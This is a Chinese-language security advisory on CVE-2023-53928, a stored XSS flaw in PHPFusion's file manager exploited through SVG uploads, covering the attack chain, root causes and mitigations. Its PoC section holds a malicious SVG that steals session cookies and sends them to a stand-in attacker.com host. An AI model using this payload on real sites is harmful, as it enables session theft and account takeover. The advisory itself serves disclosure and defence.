IPBUF安全漏洞报告
English
CVE-2023-53928 CVSS 5.4 中危

CVE-2023-53928 PHPFusion文件管理器存储型XSS漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2023-53928
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
PHPFusion 9.10.30

相关标签

存储型XSSCVE-2023-53928PHPFusion文件上传漏洞SVG注入跨站脚本CMS漏洞Web安全内容管理系统

漏洞概述

CVE-2023-53928是PHPFusion 9.10.30版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞位于PHPFusion的文件管理器功能模块,攻击者可以通过该功能上传包含恶意JavaScript代码的SVG文件。当其他用户访问或查看这些被上传的SVG文件时,嵌入其中的恶意脚本会在受害者浏览器中执行,从而实现窃取用户会话信息、劫持用户账号、进行钓鱼攻击等客户端攻击。

PHPFusion是一款开源的PHP内容管理系统(CMS),广泛应用于构建各类网站和Web应用。其文件管理器功能原本用于允许管理员和授权用户上传和管理网站资源文件。然而,由于系统未对上传的SVG文件进行充分的安全过滤和内容验证,导致攻击者可以构造包含<script>标签或其他JavaScript执行代码的SVG文件并成功上传至服务器。

由于该XSS漏洞属于存储型(Stored XSS),恶意代码会被永久保存在服务器端,所有访问该文件的用户都会受到攻击影响。这使得该漏洞具有较高的危害性,特别是在多用户环境或管理员访问被污染的文件时,攻击者可能获取管理员权限,进一步控制整个网站系统。

该漏洞的CVSS评分为5.4(中等严重程度),攻击向量为网络(AV:N),无需特殊权限(PR:N),但需要用户交互(UI:R)。机密性和完整性影响均为低级别(L),可用性无影响(N)。

技术细节

PHPFusion 9.10.30的文件管理器在处理文件上传时存在安全验证缺陷。系统允许用户上传SVG格式的文件,但未对SVG文件内容进行充分的安全检查。SVG(Scalable Vector Graphics)是一种基于XML的矢量图形格式,支持嵌入JavaScript代码(通过<script>标签或事件处理器如onload、onerror等)。

攻击者可以利用此漏洞构造恶意SVG文件,该文件包含JavaScript脚本代码。当文件被上传到服务器后,任何用户访问该SVG文件时,浏览器会解析SVG内容并执行其中的JavaScript代码。由于浏览器将SVG视为有效的HTML/XML内容,嵌入的脚本会在当前页面上下文中执行,从而能够访问用户的Cookie、会话令牌等敏感信息。

典型的恶意SVG文件结构如下:文件包含标准的SVG标签声明,内部嵌入<script>标签或事件属性(如<svg onload=...>),JavaScript代码通常用于窃取document.cookie或其他DOM数据,并通过fetch或XMLHttpRequest将数据发送到攻击者控制的服务器。

漏洞的根本原因在于:1)系统仅检查文件扩展名为.svg但未验证文件MIME类型;2)未对SVG内容进行净化处理或禁用脚本执行;3)文件访问时未设置正确的Content-Security-Policy响应头。建议通过文件内容白名单验证、MIME类型检查、内容安全策略配置等措施进行修复。

攻击链分析

STEP 1
步骤1
攻击者注册PHPFusion网站账号或获取普通用户访问权限
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的SVG文件(如窃取Cookie的脚本)
STEP 3
步骤3
攻击者通过PHPFusion文件管理器上传恶意SVG文件,系统未进行安全过滤
STEP 4
步骤4
恶意SVG文件被存储在服务器上,成为持久化的攻击向量
STEP 5
步骤5
受害者访问或查看被上传的SVG文件,浏览器解析SVG并执行其中嵌入的JavaScript
STEP 6
步骤6
恶意脚本窃取受害者的会话Cookie或其他敏感信息,并发送到攻击者服务器
STEP 7
步骤7
攻击者利用窃取的会话信息劫持受害者账号,可能进一步获取管理员权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious SVG file for CVE-2023-53928 --> <!-- This PoC demonstrates stored XSS via SVG upload in PHPFusion file manager --> <?xml version="1.0" encoding="UTF-8"?> <svg version="1.1" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> // Steal user session cookies var cookies = document.cookie; // Send stolen data to attacker-controlled server fetch('https://attacker.com/collect?data=' + encodeURIComponent(cookies), { method: 'GET', mode: 'no-cors' }); // Alternative: using XMLHttpRequest /* var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://attacker.com/steal?cookie=' + document.cookie, true); xhr.send(); */ console.log('XSS payload executed'); </script> <!-- Visual element to make SVG appear legitimate --> <rect width="200" height="100" fill="#f0f0f0" /> <text x="10" y="50" font-size="14">Upload this SVG via PHPFusion file manager</text> </svg> <!-- Alternative PoC using onload event handler --> <!-- <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"> <circle cx="50" cy="50" r="40" fill="blue" /> </svg> -->

影响范围

PHPFusion 9.10.30及之前版本

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)禁用或限制文件管理器中的SVG上传功能;2)通过Web应用防火墙(WAF)规则拦截包含<script>标签的SVG文件上传请求;3)配置服务器对SVG文件的MIME类型处理,设置Content-Disposition: attachment头强制下载而非直接在浏览器中渲染;4)临时禁用文件管理器的公开访问权限,仅允许受信任的管理员使用;5)监控和审查已上传的SVG文件,及时清除恶意文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表